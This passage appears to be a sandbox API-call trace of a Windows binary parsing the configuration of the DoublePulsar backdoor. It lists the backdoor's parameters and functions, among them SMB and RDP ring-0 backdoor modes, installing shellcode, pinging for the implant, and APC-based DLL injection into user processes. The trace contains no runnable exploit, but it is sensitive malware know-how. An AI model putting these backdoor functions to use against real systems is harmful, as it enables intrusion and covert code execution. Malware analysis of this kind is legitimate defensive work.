param_1=0xfaabf8) returned 0xfaabf8 [0120.150] calloc (_Count=0x1, _Size=0x4) returned 0xfaabe8 [0120.150] calloc (_Count=0x1, _Size=0x4) returned 0xfaac48 [0120.150] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0120.150] malloc (_Size=0xf) returned 0xfad1e0 [0120.150] malloc (_Size=0x49) returned 0x10bfef0 [0120.150] malloc (_Size=0x4) returned 0xfaac58 [0120.150] malloc (_Size=0x14) returned 0xfa87e0 [0120.150] GetCurrentThreadId () returned 0x1420 [0120.150] malloc (_Size=0x42) returned 0x10bff48 [0120.150] free (_Block=0xfa87e0) [0120.150] calloc (_Count=0x1, _Size=0x48) returned 0x10bff98 [0120.150] strlen (_Str="NetworkTimeout") returned 0xe [0120.150] calloc (_Count=0xf, _Size=0x1) returned 0xfad1f8 [0120.150] _mbscpy (in: param_1=0xfad1f8, param_2=0xfad1e0 | out: param_1=0xfad1f8) returned 0xfad1f8 [0120.150] strlen (_Str="Timeout for blocking network calls (in seconds). Use -1 for no timeout.") returned 0x48 [0120.150] calloc (_Count=0x49, _Size=0x1) returned 0xfa45c8 [0120.150] _mbscpy (in: param_1=0xfa45c8, param_2=0x10bfef0 | out: param_1=0xfa45c8) returned 0xfa45c8 [0120.150] strlen (_Str="S16") returned 0x3 [0120.150] calloc (_Count=0x4, _Size=0x1) returned 0xfaac68 [0120.150] _mbscpy (in: param_1=0xfaac68, param_2=0xfaac58 | out: param_1=0xfaac68) returned 0xfaac68 [0120.150] strlen (_Str="Scalar") returned 0x6 [0120.150] calloc (_Count=0x7, _Size=0x1) returned 0xfaac78 [0120.150] _mbscpy (in: param_1=0xfaac78, param_2=0x14c3f8 | out: param_1=0xfaac78) returned 0xfaac78 [0120.150] strlen (_Str="urn:trch") returned 0x8 [0120.150] calloc (_Count=0x9, _Size=0x1) returned 0xfad210 [0120.150] _mbscpy (in: param_1=0xfad210, param_2=0x10bfb20 | out: param_1=0xfad210) returned 0xfad210 [0120.150] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0120.151] strlen (_Str="2.0.0") returned 0x5 [0120.151] calloc (_Count=0x6, _Size=0x1) returned 0xfaac88 [0120.151] _mbscpy (in: param_1=0xfaac88, param_2=0xfaac08 | out: param_1=0xfaac88) returned 0xfaac88 [0120.152] strlen (_Str="60") returned 0x2 [0120.152] calloc (_Count=0x3, _Size=0x1) returned 0xfaac98 [0120.152] _mbscpy (in: param_1=0xfaac98, param_2=0x10bff48 | out: param_1=0xfaac98) returned 0xfaac98 [0120.152] strtol (in: _Str="60", _EndPtr=0xdafd84, _Radix=0 | out: _EndPtr=0xdafd84*="") returned 60 [0120.152] free (_Block=0xfad1e0) [0120.153] free (_Block=0x10bfef0) [0120.153] free (_Block=0xfaac58) [0120.153] free (_Block=0x0) [0120.153] free (_Block=0x10bff48) [0120.153] free (_Block=0x0) [0120.153] free (_Block=0x0) [0120.153] free (_Block=0x0) [0120.153] free (_Block=0x0) [0120.153] realloc (_Block=0xfaabe8, _Size=0x8) returned 0xfaac58 [0120.153] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0120.153] malloc (_Size=0x9) returned 0xfad1e0 [0120.153] malloc (_Size=0x12) returned 0xfa87e0 [0120.153] malloc (_Size=0x5) returned 0xfaabe8 [0120.153] calloc (_Count=0x1, _Size=0x48) returned 0x10bfef0 [0120.153] strlen (_Str="TargetIp") returned 0x8 [0120.153] calloc (_Count=0x9, _Size=0x1) returned 0xfad240 [0120.153] _mbscpy (in: param_1=0xfad240, param_2=0xfad1e0 | out: param_1=0xfad240) returned 0xfad240 [0120.153] strlen (_Str="Target IP Address") returned 0x11 [0120.153] calloc (_Count=0x12, _Size=0x1) returned 0xfa8800 [0120.153] _mbscpy (in: param_1=0xfa8800, param_2=0xfa87e0 | out: param_1=0xfa8800) returned 0xfa8800 [0120.153] strlen (_Str="IPv4") returned 0x4 [0120.153] calloc (_Count=0x5, _Size=0x1) returned 0xfaaca8 [0120.153] _mbscpy (in: param_1=0xfaaca8, param_2=0xfaabe8 | out: param_1=0xfaaca8) returned 0xfaaca8 [0120.153] strlen (_Str="Scalar") returned 0x6 [0120.153] calloc (_Count=0x7, _Size=0x1) returned 0xfaacb8 [0120.153] _mbscpy (in: param_1=0xfaacb8, param_2=0x14c3f8 | out: param_1=0xfaacb8) returned 0xfaacb8 [0120.153] strlen (_Str="urn:trch") returned 0x8 [0120.153] calloc (_Count=0x9, _Size=0x1) returned 0xfad258 [0120.153] _mbscpy (in: param_1=0xfad258, param_2=0x10bfb20 | out: param_1=0xfad258) returned 0xfad258 [0120.153] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0120.153] strlen (_Str="2.0.0") returned 0x5 [0120.153] calloc (_Count=0x6, _Size=0x1) returned 0xfaacc8 [0120.153] _mbscpy (in: param_1=0xfaacc8, param_2=0xfaac08 | out: param_1=0xfaacc8) returned 0xfaacc8 [0120.153] realloc (_Block=0xfaac58, _Size=0xc) returned 0xfad1e0 [0120.153] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0120.153] malloc (_Size=0xb) returned 0xfad288 [0120.153] malloc (_Size=0x29) returned 0xfacb88 [0120.153] malloc (_Size=0x8) returned 0xfaac58 [0120.154] malloc (_Size=0x14) returned 0xfa87e0 [0120.154] GetCurrentThreadId () returned 0x1420 [0120.154] malloc (_Size=0x42) returned 0x10bff40 [0120.154] free (_Block=0xfa87e0) [0120.154] calloc (_Count=0x1, _Size=0x48) returned 0xfa4620 [0120.154] strlen (_Str="TargetPort") returned 0xa [0120.154] calloc (_Count=0xb, _Size=0x1) returned 0xfad2a0 [0120.154] _mbscpy (in: param_1=0xfad2a0, param_2=0xfad288 | out: param_1=0xfad2a0) returned 0xfad2a0 [0120.154] strlen (_Str="Port used by the Double Pulsar back door") returned 0x28 [0120.154] calloc (_Count=0x29, _Size=0x1) returned 0xfacbf8 [0120.154] _mbscpy (in: param_1=0xfacbf8, param_2=0xfacb88 | out: param_1=0xfacbf8) returned 0xfacbf8 [0120.154] strlen (_Str="TcpPort") returned 0x7 [0120.154] calloc (_Count=0x8, _Size=0x1) returned 0xfaabe8 [0120.154] _mbscpy (in: param_1=0xfaabe8, param_2=0xfaac58 | out: param_1=0xfaabe8) returned 0xfaabe8 [0120.154] strlen (_Str="Scalar") returned 0x6 [0120.154] calloc (_Count=0x7, _Size=0x1) returned 0xfaacd8 [0120.154] _mbscpy (in: param_1=0xfaacd8, param_2=0x14c3f8 | out: param_1=0xfaacd8) returned 0xfaacd8 [0120.154] strlen (_Str="urn:trch") returned 0x8 [0120.154] calloc (_Count=0x9, _Size=0x1) returned 0xfad2b8 [0120.154] _mbscpy (in: param_1=0xfad2b8, param_2=0x10bfb20 | out: param_1=0xfad2b8) returned 0xfad2b8 [0120.154] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0120.154] strlen (_Str="2.0.0") returned 0x5 [0120.154] calloc (_Count=0x6, _Size=0x1) returned 0xfaace8 [0120.154] _mbscpy (in: param_1=0xfaace8, param_2=0xfaac08 | out: param_1=0xfaace8) returned 0xfaace8 [0120.154] strlen (_Str="445") returned 0x3 [0120.154] calloc (_Count=0x4, _Size=0x1) returned 0xfaacf8 [0120.154] _mbscpy (in: param_1=0xfaacf8, param_2=0x10bff40 | out: param_1=0xfaacf8) returned 0xfaacf8 [0120.154] free (_Block=0xfad288) [0120.154] free (_Block=0xfacb88) [0120.154] free (_Block=0xfaac58) [0120.154] free (_Block=0x0) [0120.154] free (_Block=0x10bff40) [0120.154] free (_Block=0x0) [0120.154] free (_Block=0x0) [0120.154] free (_Block=0x0) [0120.154] free (_Block=0x0) [0120.154] realloc (_Block=0xfad1e0, _Size=0x10) returned 0xfad288 [0120.155] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0120.155] malloc (_Size=0x9) returned 0xfad1e0 [0120.155] malloc (_Size=0x23) returned 0x10bfa98 [0120.155] malloc (_Size=0x14) returned 0xfa87e0 [0120.155] GetCurrentThreadId () returned 0x1420 [0120.155] malloc (_Size=0x42) returned 0x10bff40 [0120.155] free (_Block=0xfa87e0) [0120.155] calloc (_Count=0x1, _Size=0x24) returned 0xfa4670 [0120.155] strlen (_Str="Protocol") returned 0x8 [0120.155] calloc (_Count=0x9, _Size=0x1) returned 0xfad2e8 [0120.155] _mbscpy (in: param_1=0xfad2e8, param_2=0xfad1e0 | out: param_1=0xfad2e8) returned 0xfad2e8 [0120.155] strlen (_Str="Protocol for the backdoor to speak") returned 0x22 [0120.155] calloc (_Count=0x23, _Size=0x1) returned 0xfa46a0 [0120.155] _mbscpy (in: param_1=0xfa46a0, param_2=0x10bfa98 | out: param_1=0xfa46a0) returned 0xfa46a0 [0120.155] strlen (_Str="SMB") returned 0x3 [0120.155] calloc (_Count=0x4, _Size=0x1) returned 0xfaac58 [0120.155] _mbscpy (in: param_1=0xfaac58, param_2=0x10bff40 | out: param_1=0xfaac58) returned 0xfaac58 [0120.155] strlen (_Str="SMB") returned 0x3 [0120.155] calloc (_Count=0x4, _Size=0x1) returned 0xfaad08 [0120.155] _mbscpy (in: param_1=0xfaad08, param_2=0x10bff40 | out: param_1=0xfaad08) returned 0xfaad08 [0120.155] strlen (_Str="urn:trch") returned 0x8 [0120.155] calloc (_Count=0x9, _Size=0x1) returned 0xfad358 [0120.155] _mbscpy (in: param_1=0xfad358, param_2=0x10bfb20 | out: param_1=0xfad358) returned 0xfad358 [0120.155] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0120.155] strlen (_Str="2.0.0") returned 0x5 [0120.155] calloc (_Count=0x6, _Size=0x1) returned 0xfaad18 [0120.155] _mbscpy (in: param_1=0xfaad18, param_2=0xfaac08 | out: param_1=0xfaad18) returned 0xfaad18 [0120.155] malloc (_Size=0x4) returned 0xfad758 [0120.155] free (_Block=0xfad1e0) [0120.155] free (_Block=0x10bfa98) [0120.155] free (_Block=0x10bff40) [0120.155] malloc (_Size=0x4) returned 0xfad768 [0120.155] malloc (_Size=0x1e) returned 0xfaaeb8 [0120.155] calloc (_Count=0x1, _Size=0x20) returned 0xfaaee0 [0120.155] strlen (_Str="SMB") returned 0x3 [0120.155] calloc (_Count=0x4, _Size=0x1) returned 0xfad778 [0120.155] _mbscpy (in: param_1=0xfad778, param_2=0xfad768 | out: param_1=0xfad778) returned 0xfad778 [0120.156] strlen (_Str="Ring 0 SMB (TCP 445) backdoor") returned 0x1d [0120.156] calloc (_Count=0x1e, _Size=0x1) returned 0xfaaf08 [0120.156] _mbscpy (in: param_1=0xfaaf08, param_2=0xfaaeb8 | out: param_1=0xfaaf08) returned 0xfaaf08 [0120.156] strlen (_Str="urn:trch") returned 0x8 [0120.156] calloc (_Count=0x9, _Size=0x1) returned 0xfad1e0 [0120.156] _mbscpy (in: param_1=0xfad1e0, param_2=0x10bfb20 | out: param_1=0xfad1e0) returned 0xfad1e0 [0120.156] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0120.156] strlen (_Str="2.0.0") returned 0x5 [0120.156] calloc (_Count=0x6, _Size=0x1) returned 0xfad788 [0120.156] _mbscpy (in: param_1=0xfad788, param_2=0xfaac08 | out: param_1=0xfad788) returned 0xfad788 [0120.156] malloc (_Size=0x4) returned 0xfad798 [0120.156] malloc (_Size=0x4) returned 0xfad7a8 [0120.156] free (_Block=0xfad768) [0120.156] free (_Block=0xfaaeb8) [0120.156] realloc (_Block=0xfad758, _Size=0x8) returned 0xfad768 [0120.156] strlen (_Str="RDP") returned 0x3 [0120.156] calloc (_Count=0x4, _Size=0x1) returned 0xfad7b8 [0120.156] _mbscpy (in: param_1=0xfad7b8, param_2=0xfad758 | out: param_1=0xfad7b8) returned 0xfad7b8 [0120.156] strlen (_Str="Ring 0 RDP (TCP 3389) backdoor") returned 0x1e [0120.156] calloc (_Count=0x1f, _Size=0x1) returned 0xfaaf58 [0120.156] _mbscpy (in: param_1=0xfaaf58, param_2=0xfaaeb8 | out: param_1=0xfaaf58) returned 0xfaaf58 [0120.156] strlen (_Str="urn:trch") returned 0x8 [0120.156] calloc (_Count=0x9, _Size=0x1) returned 0xfad370 [0120.156] _mbscpy (in: param_1=0xfad370, param_2=0x10bfb20 | out: param_1=0xfad370) returned 0xfad370 [0120.156] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0120.156] strlen (_Str="2.0.0") returned 0x5 [0120.156] calloc (_Count=0x6, _Size=0x1) returned 0xfad7c8 [0120.156] _mbscpy (in: param_1=0xfad7c8, param_2=0xfaac08 | out: param_1=0xfad7c8) returned 0xfad7c8 [0120.156] malloc (_Size=0x4) returned 0xfad7d8 [0120.156] malloc (_Size=0x4) returned 0xfad7e8 [0120.156] free (_Block=0xfad758) [0120.156] free (_Block=0xfaaeb8) [0120.156] realloc (_Block=0xfad768, _Size=0xc) returned 0xfad388 [0120.156] realloc (_Block=0xfaac48, _Size=0x8) returned 0xfad768 [0120.156] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0120.156] malloc (_Size=0xd) returned 0xfad3a0 [0120.156] malloc (_Size=0x1e) returned 0xfaaeb8 [0120.156] malloc (_Size=0x14) returned 0xfa87e0 [0120.157] GetCurrentThreadId () returned 0x1420 [0120.157] malloc (_Size=0x42) returned 0x10bff40 [0120.157] free (_Block=0xfa87e0) [0120.157] calloc (_Count=0x1, _Size=0x24) returned 0x10bfa98 [0120.157] strlen (_Str="Architecture") returned 0xc [0120.157] calloc (_Count=0xd, _Size=0x1) returned 0xfad3b8 [0120.157] _mbscpy (in: param_1=0xfad3b8, param_2=0xfad3a0 | out: param_1=0xfad3b8) returned 0xfad3b8 [0120.157] strlen (_Str="Architecture of the target OS") returned 0x1d [0120.157] calloc (_Count=0x1e, _Size=0x1) returned 0xfaaf80 [0120.157] _mbscpy (in: param_1=0xfaaf80, param_2=0xfaaeb8 | out: param_1=0xfaaf80) returned 0xfaaf80 [0120.157] strlen (_Str="x86") returned 0x3 [0120.157] calloc (_Count=0x4, _Size=0x1) returned 0xfaac48 [0120.157] _mbscpy (in: param_1=0xfaac48, param_2=0x10bff40 | out: param_1=0xfaac48) returned 0xfaac48 [0120.157] strlen (_Str="x86") returned 0x3 [0120.157] calloc (_Count=0x4, _Size=0x1) returned 0xfad758 [0120.157] _mbscpy (in: param_1=0xfad758, param_2=0x10bff40 | out: param_1=0xfad758) returned 0xfad758 [0120.157] strlen (_Str="urn:trch") returned 0x8 [0120.157] calloc (_Count=0x9, _Size=0x1) returned 0xfad3d0 [0120.157] _mbscpy (in: param_1=0xfad3d0, param_2=0x10bfb20 | out: param_1=0xfad3d0) returned 0xfad3d0 [0120.157] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0120.157] strlen (_Str="2.0.0") returned 0x5 [0120.157] calloc (_Count=0x6, _Size=0x1) returned 0xfad7f8 [0120.157] _mbscpy (in: param_1=0xfad7f8, param_2=0xfaac08 | out: param_1=0xfad7f8) returned 0xfad7f8 [0120.157] malloc (_Size=0x4) returned 0xfad808 [0120.157] free (_Block=0xfad3a0) [0120.157] free (_Block=0xfaaeb8) [0120.157] free (_Block=0x10bff40) [0120.157] malloc (_Size=0x4) returned 0xfad818 [0120.157] malloc (_Size=0xc) returned 0xfad3a0 [0120.157] calloc (_Count=0x1, _Size=0x20) returned 0xfaaeb8 [0120.157] strlen (_Str="x86") returned 0x3 [0120.157] calloc (_Count=0x4, _Size=0x1) returned 0xfad828 [0120.157] _mbscpy (in: param_1=0xfad828, param_2=0xfad818 | out: param_1=0xfad828) returned 0xfad828 [0120.157] strlen (_Str="x86 32-bits") returned 0xb [0120.157] calloc (_Count=0xc, _Size=0x1) returned 0xfad3e8 [0120.157] _mbscpy (in: param_1=0xfad3e8, param_2=0xfad3a0 | out: param_1=0xfad3e8) returned 0xfad3e8 [0120.157] strlen (_Str="urn:trch") returned 0x8 [0120.157] calloc (_Count=0x9, _Size=0x1) returned 0xfad400 [0120.157] _mbscpy (in: param_1=0xfad400, param_2=0x10bfb20 | out: param_1=0xfad400) returned 0xfad400 [0120.157] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0120.158] strlen (_Str="2.0.0") returned 0x5 [0120.158] calloc (_Count=0x6, _Size=0x1) returned 0xfad838 [0120.158] _mbscpy (in: param_1=0xfad838, param_2=0xfaac08 | out: param_1=0xfad838) returned 0xfad838 [0120.158] malloc (_Size=0x4) returned 0xfad848 [0120.158] malloc (_Size=0x4) returned 0xfad858 [0120.158] free (_Block=0xfad818) [0120.158] free (_Block=0xfad3a0) [0120.158] realloc (_Block=0xfad808, _Size=0x8) returned 0xfad818 [0120.158] strlen (_Str="x64") returned 0x3 [0120.158] calloc (_Count=0x4, _Size=0x1) returned 0xfad868 [0120.158] _mbscpy (in: param_1=0xfad868, param_2=0xfad808 | out: param_1=0xfad868) returned 0xfad868 [0120.158] strlen (_Str="x64 64-bits") returned 0xb [0120.158] calloc (_Count=0xc, _Size=0x1) returned 0xfad418 [0120.158] _mbscpy (in: param_1=0xfad418, param_2=0xfad3a0 | out: param_1=0xfad418) returned 0xfad418 [0120.158] strlen (_Str="urn:trch") returned 0x8 [0120.158] calloc (_Count=0x9, _Size=0x1) returned 0xfad430 [0120.158] _mbscpy (in: param_1=0xfad430, param_2=0x10bfb20 | out: param_1=0xfad430) returned 0xfad430 [0120.158] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0120.158] strlen (_Str="2.0.0") returned 0x5 [0120.158] calloc (_Count=0x6, _Size=0x1) returned 0xfad878 [0120.158] _mbscpy (in: param_1=0xfad878, param_2=0xfaac08 | out: param_1=0xfad878) returned 0xfad878 [0120.158] malloc (_Size=0x4) returned 0xfad888 [0120.158] malloc (_Size=0x4) returned 0xfad898 [0120.158] free (_Block=0xfad808) [0120.158] free (_Block=0xfad3a0) [0120.158] realloc (_Block=0xfad818, _Size=0xc) returned 0xfad3a0 [0120.158] realloc (_Block=0xfad768, _Size=0xc) returned 0xfad448 [0120.158] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0120.158] malloc (_Size=0x9) returned 0xfad460 [0120.158] malloc (_Size=0x22) returned 0x10bff40 [0120.158] malloc (_Size=0x14) returned 0xfa87e0 [0120.158] GetCurrentThreadId () returned 0x1420 [0120.158] malloc (_Size=0x42) returned 0xfa46d0 [0120.158] free (_Block=0xfa87e0) [0120.158] calloc (_Count=0x1, _Size=0x24) returned 0xfadb40 [0120.158] strlen (_Str="Function") returned 0x8 [0120.158] calloc (_Count=0x9, _Size=0x1) returned 0xfad478 [0120.158] _mbscpy (in: param_1=0xfad478, param_2=0xfad460 | out: param_1=0xfad478) returned 0xfad478 [0120.159] strlen (_Str="Operation for backdoor to perform") returned 0x21 [0120.159] calloc (_Count=0x22, _Size=0x1) returned 0xfadb70 [0120.159] _mbscpy (in: param_1=0xfadb70, param_2=0x10bff40 | out: param_1=0xfadb70) returned 0xfadb70 [0120.159] strlen (_Str="OutputInstall") returned 0xd [0120.159] calloc (_Count=0xe, _Size=0x1) returned 0xfad490 [0120.159] _mbscpy (in: param_1=0xfad490, param_2=0xfa46d0 | out: param_1=0xfad490) returned 0xfad490 [0120.159] strlen (_Str="OutputInstall") returned 0xd [0120.159] calloc (_Count=0xe, _Size=0x1) returned 0xfad4a8 [0120.159] _mbscpy (in: param_1=0xfad4a8, param_2=0xfa46d0 | out: param_1=0xfad4a8) returned 0xfad4a8 [0120.159] strlen (_Str="urn:trch") returned 0x8 [0120.159] calloc (_Count=0x9, _Size=0x1) returned 0xfad4c0 [0120.159] _mbscpy (in: param_1=0xfad4c0, param_2=0x10bfb20 | out: param_1=0xfad4c0) returned 0xfad4c0 [0120.159] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0120.159] strlen (_Str="2.0.0") returned 0x5 [0120.159] calloc (_Count=0x6, _Size=0x1) returned 0xfad768 [0120.159] _mbscpy (in: param_1=0xfad768, param_2=0xfaac08 | out: param_1=0xfad768) returned 0xfad768 [0120.159] malloc (_Size=0x4) returned 0xfad818 [0120.159] free (_Block=0xfad460) [0120.159] free (_Block=0x10bff40) [0120.159] free (_Block=0xfa46d0) [0120.159] malloc (_Size=0xe) returned 0xfad460 [0120.159] malloc (_Size=0x3c) returned 0xfac418 [0120.159] calloc (_Count=0x1, _Size=0x20) returned 0xfaafd0 [0120.159] strlen (_Str="OutputInstall") returned 0xd [0120.159] calloc (_Count=0xe, _Size=0x1) returned 0xfad4d8 [0120.159] _mbscpy (in: param_1=0xfad4d8, param_2=0xfad460 | out: param_1=0xfad4d8) returned 0xfad4d8 [0120.159] strlen (_Str="Only output the install shellcode to a binary file on disk.") returned 0x3b [0120.159] calloc (_Count=0x3c, _Size=0x1) returned 0xfac460 [0120.159] _mbscpy (in: param_1=0xfac460, param_2=0xfac418 | out: param_1=0xfac460) returned 0xfac460 [0120.159] strlen (_Str="urn:trch") returned 0x8 [0120.159] calloc (_Count=0x9, _Size=0x1) returned 0xfad4f0 [0120.159] _mbscpy (in: param_1=0xfad4f0, param_2=0x10bfb20 | out: param_1=0xfad4f0) returned 0xfad4f0 [0120.159] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0120.159] strlen (_Str="2.0.0") returned 0x5 [0120.159] calloc (_Count=0x6, _Size=0x1) returned 0xfad808 [0120.159] _mbscpy (in: param_1=0xfad808, param_2=0xfaac08 | out: param_1=0xfad808) returned 0xfad808 [0120.159] malloc (_Size=0x4) returned 0xfad8a8 [0120.159] malloc (_Size=0x4) returned 0xfad8b8 [0120.159] free (_Block=0xfad460) [0120.159] free (_Block=0xfac418) [0120.159] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0120.160] malloc (_Size=0xb) returned 0xfad460 [0120.160] malloc (_Size=0x1d) returned 0xfaaff8 [0120.160] malloc (_Size=0x7) returned 0xfad8c8 [0120.160] calloc (_Count=0x1, _Size=0x48) returned 0x10bff40 [0120.160] strlen (_Str="OutputFile") returned 0xa [0120.160] calloc (_Count=0xb, _Size=0x1) returned 0xfad508 [0120.160] _mbscpy (in: param_1=0xfad508, param_2=0xfad460 | out: param_1=0xfad508) returned 0xfad508 [0120.160] strlen (_Str="Full path to the output file") returned 0x1c [0120.160] calloc (_Count=0x1d, _Size=0x1) returned 0xfab020 [0120.160] _mbscpy (in: param_1=0xfab020, param_2=0xfaaff8 | out: param_1=0xfab020) returned 0xfab020 [0120.160] strlen (_Str="String") returned 0x6 [0120.160] calloc (_Count=0x7, _Size=0x1) returned 0xfad8d8 [0120.160] _mbscpy (in: param_1=0xfad8d8, param_2=0xfad8c8 | out: param_1=0xfad8d8) returned 0xfad8d8 [0120.160] strlen (_Str="Scalar") returned 0x6 [0120.160] calloc (_Count=0x7, _Size=0x1) returned 0xfad8e8 [0120.160] _mbscpy (in: param_1=0xfad8e8, param_2=0x14c3f8 | out: param_1=0xfad8e8) returned 0xfad8e8 [0120.160] strlen (_Str="urn:trch") returned 0x8 [0120.160] calloc (_Count=0x9, _Size=0x1) returned 0xfad520 [0120.160] _mbscpy (in: param_1=0xfad520, param_2=0x10bfb20 | out: param_1=0xfad520) returned 0xfad520 [0120.160] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0120.160] strlen (_Str="2.0.0") returned 0x5 [0120.160] calloc (_Count=0x6, _Size=0x1) returned 0xfad8f8 [0120.160] _mbscpy (in: param_1=0xfad8f8, param_2=0xfaac08 | out: param_1=0xfad8f8) returned 0xfad8f8 [0120.160] realloc (_Block=0xfad8a8, _Size=0x8) returned 0xfad8c8 [0120.160] realloc (_Block=0xfad818, _Size=0x8) returned 0xfad8a8 [0120.160] strlen (_Str="Ping") returned 0x4 [0120.160] calloc (_Count=0x5, _Size=0x1) returned 0xfad908 [0120.160] _mbscpy (in: param_1=0xfad908, param_2=0xfad818 | out: param_1=0xfad908) returned 0xfad908 [0120.160] strlen (_Str="Test for presence of backdoor") returned 0x1d [0120.160] calloc (_Count=0x1e, _Size=0x1) returned 0xfab070 [0120.160] _mbscpy (in: param_1=0xfab070, param_2=0xfaaff8 | out: param_1=0xfab070) returned 0xfab070 [0120.160] strlen (_Str="urn:trch") returned 0x8 [0120.160] calloc (_Count=0x9, _Size=0x1) returned 0xfad460 [0120.160] _mbscpy (in: param_1=0xfad460, param_2=0x10bfb20 | out: param_1=0xfad460) returned 0xfad460 [0120.160] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0120.160] strlen (_Str="2.0.0") returned 0x5 [0120.160] calloc (_Count=0x6, _Size=0x1) returned 0xfad918 [0120.160] _mbscpy (in: param_1=0xfad918, param_2=0xfaac08 | out: param_1=0xfad918) returned 0xfad918 [0120.161] malloc (_Size=0x4) returned 0xfad928 [0120.161] malloc (_Size=0x4) returned 0xfad938 [0120.161] free (_Block=0xfad818) [0120.161] free (_Block=0xfaaff8) [0120.161] realloc (_Block=0xfad8a8, _Size=0xc) returned 0xfad550 [0120.161] malloc (_Size=0x7) returned 0xfad8a8 [0120.161] malloc (_Size=0x35) returned 0xfa46d0 [0120.161] calloc (_Count=0x1, _Size=0x20) returned 0xfaaff8 [0120.161] strlen (_Str="RunDLL") returned 0x6 [0120.161] calloc (_Count=0x7, _Size=0x1) returned 0xfad818 [0120.161] _mbscpy (in: param_1=0xfad818, param_2=0xfad8a8 | out: param_1=0xfad818) returned 0xfad818 [0120.161] strlen (_Str="Use an APC to inject a DLL into a user mode process.") returned 0x34 [0120.161] calloc (_Count=0x35, _Size=0x1) returned 0xfadba0 [0120.161] _mbscpy (in: param_1=0xfadba0, param_2=0xfa46d0 | out: param_1=0xfadba0) returned 0xfadba0 [0120.161] strlen (_Str="urn:trch") returned 0x8 [0120.161] calloc (_Count=0x9, _Size=0x1) returned 0xfad568 [0120.161] _mbscpy (in: param_1=0xfad568, param_2=0x10bfb20 | out: param_1=0xfad568) returned 0xfad568 [0120.161] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0120.161] strlen (_Str="2.0.0") returned 0x5 [0120.161] calloc (_Count=0x6, _Size=0x1) returned 0xfad948 [0120.161] _mbscpy (in: param_1=0xfad948, param_2=0xfaac08 | out: param_1=0xfad948) returned 0xfad948 [0120.161] malloc (_Size=0x4) returned 0xfad958 [0120.161] malloc (_Size=0x4) returned 0xfad968 [0120.161] free (_Block=0xfad8a8) [0120.161] free (_Block=0xfa46d0) [0120.161] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0120.161] malloc (_Size=0xb) returned 0xfad580 [0120.161] malloc (_Size=0x1d) returned 0xfab098 [0120.161] malloc (_Size=0xa) returned 0xfad598 [0120.161] calloc (_Count=0x1, _Size=0x48) returned 0xfa46d0 [0120.161] strlen (_Str="DllPayload") returned 0xa [0120.161] calloc (_Count=0xb, _Size=0x1) returned 0xfad5b0 [0120.161] _mbscpy (in: param_1=0xfad5b0, param_2=0xfad580 | out: param_1=0xfad5b0) returned 0xfad5b0 [0120.161] strlen (_Str="DLL to inject into user mode") returned 0x1c [0120.161] calloc (_Count=0x1d, _Size=0x1) returned 0xfab0c0 [0120.161] _mbscpy (in: param_1=0xfab0c0, param_2=0xfab098 | out: param_1=0xfab0c0) returned 0xfab0c0 [0120.161] strlen (_Str="LocalFile") returned 0x9 [0120.161] calloc (_Count=0xa, _Size=0x1) returned 0xfad5c8 [0120.162] _mbscpy (in: param_1=0xfad5c8, param_2=0xfad598 | out: param_1=0xfad5c8) returned 0xfad5c8 [0120.162] strlen (_Str="Scalar") returned 0x6 [0120.162] calloc (_Count=0x7, _Size=0x1) returned 0xfad8a8 [0120.162] _mbscpy (in: param_1=0xfad8a8, param_2=0x14c3f8 | out: param_1=0xfad8a8) returned 0xfad8a8 [0120.162] strlen (_Str="urn:trch") returned 0x8 [0120.162] calloc (_Count=0x9, _Size=0x1) returned 0xfad5e0 [0120.162] _mbscpy (in: param_1=0xfad5e0, param_2=0x10bfb20 | out: param_1=0xfad5e0) returned 0xfad5e0 [0120.162] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0120.162] strlen (_Str="2.0.0") returned 0x5 [0120.162] calloc (_Count=0x6, _Size=0x1) returned 0xfad978 [0120.162] _mbscpy (in: param_1=0xfad978, param_2=0xfaac08 | out: param_1=0xfad978) returned 0xfad978 [0120.162] realloc (_Block=0xfad958, _Size=0x8) returned 0xfad988 [0120.162] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0120.162] malloc (_Size=0xb) returned 0xfad598 [0120.162] malloc (_Size=0x3e) returned 0xfac418 [0120.162] malloc (_Size=0x4) returned 0xfad958 [0120.162] malloc (_Size=0x14) returned 0xfa87e0 [0120.162] GetCurrentThreadId () returned 0x1420 [0120.162] malloc (_Size=0x42) returned 0xfadbe0 [0120.162] free (_Block=0xfa87e0) [0120.162] calloc (_Count=0x1, _Size=0x48) returned 0xfadc30 [0120.162] strlen (_Str="DllOrdinal") returned 0xa [0120.162] calloc (_Count=0xb, _Size=0x1) returned 0xfad580 [0120.162] _mbscpy (in: param_1=0xfad580, param_2=0xfad598 | out: param_1=0xfad580) returned 0xfad580 [0120.162] strlen (_Str="The exported ordinal number of the DLL being injected to call") returned 0x3d [0120.162] calloc (_Count=0x3e, _Size=0x1) returned 0xfac4a8 [0120.162] _mbscpy (in: param_1=0xfac4a8, param_2=0xfac418 | out: param_1=0xfac4a8) returned 0xfac4a8 [0120.162] strlen (_Str="U32") returned 0x3 [0120.162] calloc (_Count=0x4, _Size=0x1) returned 0xfad998 [0120.162] _mbscpy (in: param_1=0xfad998, param_2=0xfad958 | out: param_1=0xfad998) returned 0xfad998 [0120.162] strlen (_Str="Scalar") returned 0x6 [0120.162] calloc (_Count=0x7, 